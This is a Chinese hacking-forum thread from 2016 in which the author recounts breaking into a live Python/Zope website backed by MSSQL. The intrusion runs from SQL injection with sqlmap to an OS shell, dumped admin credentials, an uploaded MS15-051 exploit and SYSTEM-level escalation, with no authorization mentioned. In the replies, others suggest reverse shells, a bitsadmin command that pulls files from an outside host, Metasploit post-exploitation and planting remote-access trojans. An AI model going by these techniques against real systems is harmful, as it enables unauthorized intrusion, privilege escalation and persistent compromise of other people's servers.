九零登录

[【通过】] 【已转正】对python框架网站的渗透

[复制链接]
发表于 2016-7-22 14:53:33 | 显示全部楼层 |阅读模式
万恶的起源在于一个SQl注入,额废话不多说了继续

至于怎么找到注入的点的经过我也不说了,直接上吧
找到了这个网站的一个注入点,个人来说比较懒,有sql注入直接丢到sqlmap里面跑

并别多个参数存在注入
web server operating system: Windows
back-end DBMS: Microsoft SQL Server 2008
1.png

当用sqlmap确定有了注入之后,我的第一件事是去—is-dba,查看当前数据库的权限是否最高权限,这里的权限是最高的
web server operating system: Windows
back-end DBMS:Microsoft SQL Server 2008
[20:30:54] [INFO]testing if current user is DBA
current user isDBA:    True
2.png

这样就意味着我可以直接交互式写个shell了,直接执行了—os-shell,可以执行命令,我先看了一下这台服务器是否存在外网,结果是在内网
3.png
又看了下当前的用户是不是sys权限,果然没那么简单,果真不是sys权限
4.png
考虑使用交互式写个shell上去就好了,但是最重要的一个是交互式写shell是需要web的物理路径的,但是我现在却没有物理路径,只能去跑数据库,登进后台看看再打算
都是常用的参数跟命令了,这里就不写参数跟截图了,最后得到的密码是这个
5.png
跑出了密码,却没有账号,咋整?当时想着一定会有个admin账户的也肯定是管理员的账户,然后拿着这个密码登陆果真登陆上去了
6.png
接下来就各种的查数据什么的,这里也不放出来了,当查询的时候居然报错了,把物理路径给暴露出来了,这回心想爽死我了,有了物理路径也就意味着我能写shell了(报错的图没了,反正就是这个路径)
7.png
然后测试了一下能不能写进去,写了个1.txt上去
8.png
执行dir D:\Zope-Instance\Extensions\wjwdc查看是上传上去了,文件是写上去了,但是总觉得不对
9.png
朋友说这套程序是py框架写的不能直接写shell,现在很少用python+ Microsoft SQL Server写的程序吧?圈子里更是对python语言写的web渗透资料少之又少
10.png
查看了一下这台服务器的信息
11.png
然后回到后台系统,看看有什么地方有上传点,从系统中找突破口,在信息管理--》下载管理中找到了个上传点,也算是个突破口吧
12.png
13.png

既然拿不了shell那就直接上传提权吧,刚看服务器信息的时候就看见打的补丁并没有几个,那就直接上传ms15-051的exp直接提权
14.png
文件是上传上去了,现在的问题是文件写到数据库了,到底写到哪了,上传的名字有没有被更改,现在陷入找文件的时候
15.png
一般来说都在data里面,在里面翻了好久都没有找到那个exe,我不全部截图了,反正是各种翻
16.png
然后实在没办法又跑了一遍wjwdc数据库,sql所跑的数据都会有文档记录操作的,在这里面找蛛丝马迹
17.png
猜测是存在D:\Zope-Instance\data\wjwdc\resource\attachment\download目录下,有个最新的名为65.exe,对了下时间以及大小,大概确定就是它
18.png
19.png
当时是蒙了,最后找到了一个更方便的方式去找,不过这个路径有个缺陷就是不能直接读,需要你提供账号密码去登录,我拿登后台的账号密码去登录,进去了
http://xx.xx.xx.xx/wjwdc/resource
20.png
21.png
并且还有个上传页面
22.png
这些只是过程,提醒下次别那么傻去看sqlmap的日志文件了

执行D:\Zope-Instance\data\wjwdc\resource\attachment\download\65.exe “whoami”,完美成功提权。
23.png

因为没有外网服务器没有nc去反弹3389回来,可再深入的,点到为止。

请各位大牛指教。

由于比较敏感所以打码了,见谅。

本文只作为自己的笔记存在。
by:幽暗

===============================
超过10位正式成员同意,转正成功。
                  管理05

单选投票, 共有 18 人参与投票

投票已经结束

72.22% (13)
27.78% (5)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-7-22 15:25:29 | 显示全部楼层
windows主机,可以命令执行,支持py………………
python -c “”直接执行python命令,反弹,上传,下载

如果想上传文件,可以使用bitsadmin
Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。
bitsadmin /transfer n http://domain/file c:\%homepath%\file
能结合msf那就更好了,msf自带ms15051payload,反弹,提权,转发,后渗透一条龙

评分

参与人数 1酒票 +1 收起 理由
管理05 + 1 积极参与讨论

查看全部评分

 楼主| 发表于 2016-7-22 15:38:54 | 显示全部楼层
rainism 发表于 2016-7-22 15:25
windows主机,可以命令执行,支持py………………
python -c “”直接执行python命令,反弹,上传,下载

...

哈哈,学习了,又get到了姿势,谢谢!

发表于 2016-7-22 16:02:55 | 显示全部楼层
本帖最后由 宝-宝 于 2016-7-22 16:09 编辑

1、一般如果是系统是08以下+mssql2008以下=sa,那么一般都是system权限,不需要提权,
2、这个时候其实我更喜欢种个马慢慢玩。。。
发表于 2016-7-22 17:14:29 | 显示全部楼层
可以dir /s /b找文件
发表于 2016-7-22 17:16:26 | 显示全部楼层
或者是vbs写马上线
 楼主| 发表于 2016-7-22 20:49:05 | 显示全部楼层
宝-宝 发表于 2016-7-22 16:02
1、一般如果是系统是08以下+mssql2008以下=sa,那么一般都是system权限,不需要提权,
2、这个时候其实我 ...

一看就是老司机啊,当时想过扔个远控上去的,但是想了想,点到为止就算了,深入的东西还得我慢慢去学啊
 楼主| 发表于 2016-7-22 20:50:56 | 显示全部楼层
Jumbo 发表于 2016-7-22 17:14
可以dir /s /b找文件

额,用sqlmap去dir找的话还是挺大功夫的,使用远控马的想法也存在过,可有些东西不能挖掘很深去玩
发表于 2016-7-23 22:11:27 | 显示全部楼层
python+ Microsoft SQL Server的确蛮少见的 还没遇见过,思路很清晰嘛,支持一下!
 楼主| 发表于 2016-7-23 22:14:38 | 显示全部楼层
pandas 发表于 2016-7-23 22:11
python+ Microsoft SQL Server的确蛮少见的 还没遇见过,思路很清晰嘛,支持一下!

哈,当时我朋友也说我走了狗屎运,这样的配置都能注入进去,多多指教
发表于 2016-8-2 16:33:39 | 显示全部楼层
宝-宝 发表于 2016-7-22 16:02
1、一般如果是系统是08以下+mssql2008以下=sa,那么一般都是system权限,不需要提权,
2、这个时候其实我 ...

一般情况低于2008 几乎跑不了,但现在都是内网,各种回显乱七八糟的问题非常多

九零

GMT+8, 2026-10-22 13:24

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表